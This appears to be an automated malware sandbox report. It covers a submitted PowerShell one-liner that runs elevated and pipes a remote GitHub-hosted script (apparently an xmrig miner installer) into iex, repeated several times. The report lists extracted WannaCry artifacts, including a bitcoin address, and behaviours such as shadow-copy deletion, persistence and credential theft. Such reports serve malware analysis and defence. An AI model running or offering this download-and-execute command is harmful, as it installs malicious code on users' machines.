General
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Target
http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex
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Sample
241219-r2ywdstrdv
Static task
static1
URLScan task
urlscan1
Behavioral task
behavioral1
Sample
http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex
Resource
win10v2004-20241007-en
Malware Config
Extracted
C:\Users\Admin\Desktop\@[email protected]
wannacry
13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94
Extracted
C:\Users\Admin\Desktop\msg\m_english.wnry
http://schemas.microsoft.com/office/word/2003/wordml}}\paperw12240\paperh15840\margl1501\margr1502\margt1701\margb1440\gutter0\ltrsect
Extracted
C:\Users\Admin\Desktop\r.wnry
wannacry
Targets
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Target
http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex
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Modifies visibility of file extensions in Explorer
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Modifies visiblity of hidden/system files in Explorer
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Wannacry family
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Deletes shadow copies
Ransomware often targets backup files to inhibit system recovery.
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Drops file in Drivers directory
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Manipulates Digital Signatures
Attackers can apply techniques such as modifying certain DLL exports to make their binary seem valid.
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Boot or Logon Autostart Execution: Print Processors
Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation.
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Drops startup file
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Executes dropped EXE
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Loads dropped DLL
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Modifies file permissions
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Adds Run key to start application
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Drops desktop.ini file(s)
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File and Directory Permissions Modification: Windows File and Directory Permissions Modification
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Legitimate hosting services abused for malware hosting/C2
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Drops autorun.inf file
Malware can abuse Windows Autorun to spread further via attached volumes.
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Drops file in System32 directory
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Modifies termsrv.dll
Commonly used to allow simultaneous RDP sessions.
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Sets desktop wallpaper using registry
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MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
2Print Processors
1Registry Run Keys / Startup Folder
1Privilege Escalation
Access Token Manipulation
1Create Process with Token
1Boot or Logon Autostart Execution
2Print Processors
1Registry Run Keys / Startup Folder
1Defense Evasion
Access Token Manipulation
1Create Process with Token
1File and Directory Permissions Modification
2Windows File and Directory Permissions Modification
1Hide Artifacts
3Hidden Files and Directories
3Indicator Removal
1File Deletion
1Modify Registry
6Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Discovery
Browser Information Discovery
1Query Registry
2System Information Discovery
3System Location Discovery
1System Language Discovery
1